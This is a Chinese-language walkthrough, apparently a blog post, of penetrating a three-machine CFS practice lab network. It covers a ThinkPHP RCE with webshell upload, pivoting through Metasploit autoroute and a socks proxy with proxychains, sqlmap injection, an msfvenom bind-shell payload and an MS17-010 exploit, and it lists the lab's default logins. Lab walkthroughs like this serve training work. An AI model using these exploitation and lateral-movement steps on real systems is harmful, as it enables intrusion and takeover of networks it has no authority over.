CFS三层靶机内网渗透
一、靶场环境
这个环境是由三台机器组成的一个内网,网络拓扑图如下
渗透的大致流程:攻击机和Target1位于同一网段,因此先把Target1拿下,然后以Target1为跳板,攻击内网中的Target2,然后同理以Target2为跳板攻击Target3。
注意:Target2和Target3位于内网中,彼此可以通信,但是无法连接外网
二、环境搭建
1、网卡配置
该环境需要由三块网卡搭建,编辑VMware的虚拟网络编辑器,网卡不够可以添加,在这我使用的是VM0、VM2、VM3,然后设置和下图一样:
然后是配置网卡给攻击机和三个靶机
攻击机kali:
配置好后查看一下IP看是否在正确的网段、并记录一下信息
kali攻击机
ip:192.168.31.187
然后是Target1:
配置好后也可以用作者给的登录密码登录进去查看一下IP
记录相关信息
Target1
登陆账号密码:root/teamssix.com
ip1: 192.168.31.12
ip2: 192.168.22.136
宝塔登陆地址和密码:
地址:http://192.168.31.12:8888/a768f109
账号:eaj3yhsl
密码:41bb8fee
待改
同理,将Target2的网卡配置改为VM2和VM3,Target3的网卡为VM3
然后查看一下IP是否正确
Target 2
登陆账号密码:root/teamssix.com
ip1: 192.168.22.129
ip2: 192.168.33.128
宝塔登陆地址和密码
地址:http://192.168.22.129:8888/2cc52ec0
账号:xdynr37d
密码:123qwe…
Target3
登录密码:teamssix.com
ip:192.168.33.33
2、宝塔配置
首先打开Target1的宝塔地址,用给的账号密码登录进去
同理,打开Target2的宝塔地址,但是因为Target2位于22网段,我们无法访问,因此我们可以给Target2添加多一个网卡VM0,以便我们配环境
然后用这个新网卡的IP去访问这个宝塔地址:http://192.168.31.9:8888/2cc52ec0
然后设置好
然后把刚才给Target2添加的网卡删除即可
三、Target1
主机探活:
1 | nmap -sP 192.168.31.0/24 |
查看端口开放情况:
1 | nmap -T4 -Pn 192.168.31.12 |
访问一下80端口,很明显是ThinkPHP 5.x 框架
拿出专用工具扫描一下,发现存在RCE
传马、然后蚁剑连上
随便翻下目录,发现在robots.txt、flag21sA.txt中存在flag
然后先反弹一下shell吧,可以通过msfvenom生成Linux马,然后上传再连就行。
我这里就直接通过metaploit里面的模块直接对它进行攻击
进入msf,找到ThinkPHP的漏洞利用模块
设置好相关信息即可拿到shell
拿到shell的第一时间是提权,于是我去尝试了一些提权的方法,但并没有成功。
信息收集时查看IP或者网络接口情况,发现存在22网段
1 | run get_local_subnets |
但是kali在31网段,无法进行通信。为了让我们的kali能和22网段的计算机进行通信,就要使用Socks代理服务。
Socks是一种代理服务,可以简单地将一端的系统连接到另外一端。支持多种协议,包括http、ftp请求及其它类型的请求。
Socks在渗透测试中能够很方便的让我们与目标内网计算机之间通信。
因为要访问到22网段,首先添加路由,也就是开路
1 | run autoroute -s 192.168.22.0/24 |
然后把当前session挂起,然后调用socks代理模块,可以查看一下配置,缺什么就加什么
1 | background |
开启了socks代理后,Linux中有个自带的工具可以利用本地的代理接口进行访问,就是proxychains
1 | vim /etc/proxychains4.conf |
把最下面的ip改成本机ip(kali)以及刚刚设置的端口号
然后在kali中要访问22网段或者用工具对22网段进行探测时,前面都要加上proxychains
1 | 例如:proxychains nmap 192.168.22.129 |
但是不能通过
proxychains nmap -sP 192.168.22.0/24
这种命令来找存活主机,因为这是通过ping扫来发现主机,但走代理的两台主机是无法ping通的
那我们如何找到22网段下的存活主机呢?因为Target1有一个22网段的网卡,因此它能够和22网段的主机通信、也就是能互相ping,因此我们在这台主机上写入一个sh文件:
1 |
|
添加权限:chmod 777 ping.sh
然后运行shell脚本即可
成功找到存活主机:
然后就可以开始信息收集了
1 | proxychains nmap -Pn -sT 192.168.22.129 |
然后如果想要在浏览器上也访问的话,只需要在浏览器上设置一下代理即可
上面是在Linux中的情况,如果想用Windows 也就是我们的物理机访问到22网段的话,可以借助一个软件:SocksCap64
点开代理
添加代理
最后在这里加入想要访问的浏览器,以及要使用的工具即可
四、Target2
开放了80端口,访问一下
发现是一个CMS的官网,指纹识别也没找到有用信息,信息收集一下发现robots.txt中存在一个路径
以及在查看源代码时发现了hint
先访问一下这个路径,虽然猜也猜得出是一个后台登录界面
那么思路就清楚了,首先通过SQL注入得到管理员账号密码,然后就可以登录后台了
sqlmap开跑
1 | proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p "keyword" --dbs |
成功得到账号密码:
admin / 123qwe
登录进来后即可看到flag
然后随便翻翻发现在模板这里可以编辑php文件,那就写入木马然后蚁剑连接
找到木马所在的URL
成功连接
然后就是和Target1一样的思路,添加33网段的路由,但这个操作要在msf中执行,因此先反弹shell。
因为该主机位于22网段、是无法访问外网的,因此让它主动连接我们是走不通的、只能通过正向连接。
生成Linux木马:
1 | msfvenom -p linux/x64/meterpreter/bind_tcp lport=3333 -f elf -o shell.elf |
msf开启监听:
1 | use exploit/multi/handler |
在蚁剑中把该文件上传
蚁剑中打开终端,给该文件增加权限,然后运行
1 | chmod 777 shell.elf |
成功连接
同样的、信息收集、查看网络,发现还有一个33网段,那么继续添加路由
1 | run get_local_subnets |
然后通过之前的ping.sh来发现33网段的存活主机
五、Target3
信息收集,找到开放端口
1 | proxychains nmap -Pn -sT 192.168.33.33 |
445端口开放、并且是Windows系统,也许可能存在永恒之蓝
1 | use exploit/windows/smb/ms17_010_psexec |
成功拿到sessions后就可以执行任意命令了
1 | shell |
然后就是寻找flag文件即可
1 | cd / # 回到根目录 |
最后用type命令进行查看
1 | type C:\Users\Administrator\Desktop\flag.txt |
六、总结
- 第一次搭建内网靶场环境,不是很熟悉,搭了一晚上才搭好。
- 打靶机的过程也花了好长时间,msf不知道为什么第一个session总是断开;而连接第二个靶机时总是不稳定、蚁剑时而连的上时而连不上。
- 内网漫游:配置socks代理、通过第一个已建立起来的session去访问其内网下的主机。
- 两台主机通过走代理来通信是无法ping通的。
七、参考文章
CFS三层靶机搭建及其内网渗透【附靶场环境】 | TeamsSix
CFS三层靶机搭建及其内网渗透_ZredamanJ的博客-CSDN博客
代理技术应用之三层内网漫游 - FreeBuf网络安全行业门户
内网漫游之SOCKS代理大结局 - 知乎 (zhihu.com)